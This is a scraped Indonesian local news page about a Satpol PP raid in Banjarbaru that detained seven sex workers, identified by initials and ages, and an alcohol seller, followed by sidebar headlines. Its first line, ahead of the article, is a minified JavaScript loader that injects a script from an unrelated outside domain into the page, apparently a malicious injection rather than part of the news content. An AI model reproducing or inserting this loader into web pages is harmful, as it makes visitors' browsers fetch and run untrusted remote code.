(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

7 PSK Diamankan Satpol PP Banjarbaru saat Valentine


KANALKALIMANTAN.COM, BANJARBARU – Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggelar giat cipta kondisi menyasar beberapa titik di wilayah rawan prostitusi, Selasa (14/2/2023) siang.

Dari kegiatan tersebut, Satpol PP Banjarbaru berhasil mengamankan 7 orang Pekerja Seks Komersial (PSK) dan 1 penjual minuman keras.

Kepala Satpol PP Banjarbaru, Hidayaturahman melalui Kasi Opsdal Satpol PP Banjarbaru Yanto Hidayat mengatakan, giat cipta kondisi merupakan bentuk pencegahan gangguan ketertiban umum dan ketenteraman masyarakat.

Disampaikan Yanto, untuk PSK yang diamankan merupakan hasil penyisiran di eks lokalisasi Pembatuan Jalan Kenanga dan Batu Besi, sementara semua PSK dititipkan di Rumah Singgah Berkarakter Dinsos Banjarbaru, kemudian pada Rabu (15/2/2023) besok, dilakukan proses lebih lanjut.

 

Baca juga: RD Bawa Laskar Antasari Gilas Mantan Tim Besutan

“Ada 7 PSK, hari ini kita titipkan di rumah singgah (Dinsos Banjarbaru) sebelum diserahkan ke PPNS untuk dilakukan BAP,” ujarnya.

Adapun untuk 7 orang PSK ini berinisal, M (44), S (37), FW (34), A (50), SA (42), A (26) dan F (43).

Selain mengamankan 7 orang PSK, Satpol PP Banjarbaru juga mengamankan penjual Miras di Jalan A Yani Km 18, dengan hasil penggeledahan ditemukan ada 4 minuman beralkohol yang disimpan di lemari rumah.

Satpol PP Banjarbaru mengamankan puluhan botol Miras berbagai merek, Selasa (14/2/2023) siang. Foto: satpolppbjb

Baca juga: Sidang Kasus Korupsi Dana Hibah KONI Banjarbaru, Saksi Sebut Pernah Ada Nota Kosong

“Untuk barang bukti dan pemiliknya diamankan di Mako guna diperiksa lebih lanjut,” sebutnya.

Adapun untuk Perda yang disangkakan kepada 7 orang PSK dan 1 orang penjual miras yakni Perda Nomor 6 Tahun 2014 Tentang Ketertiban Umum dan Ketenteraman Masyarakat, Perda Nomor 6 Tahun 2002 Tentang Pemberantasan Pelacuran dan Perda Nomor 5 Tahun 2006 Tentang Larangan Minuman Beralkohol.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Al Ghifari

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

3 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

4 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

4 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

8 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

10 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

10 jam ago

This website uses cookies.